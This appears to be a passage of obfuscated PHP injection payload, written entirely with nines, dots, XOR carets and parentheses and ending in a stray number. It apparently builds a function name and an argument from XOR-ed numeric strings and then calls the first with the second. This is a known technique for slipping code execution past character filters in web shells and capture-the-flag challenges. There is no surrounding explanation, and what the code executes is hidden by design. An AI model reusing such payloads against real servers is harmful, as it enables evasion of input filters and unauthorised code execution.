).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))))((((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(.9)))).(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))(((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9)))).(((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))^((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^(((9^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))))^((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^(((9^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9))))))))
36374
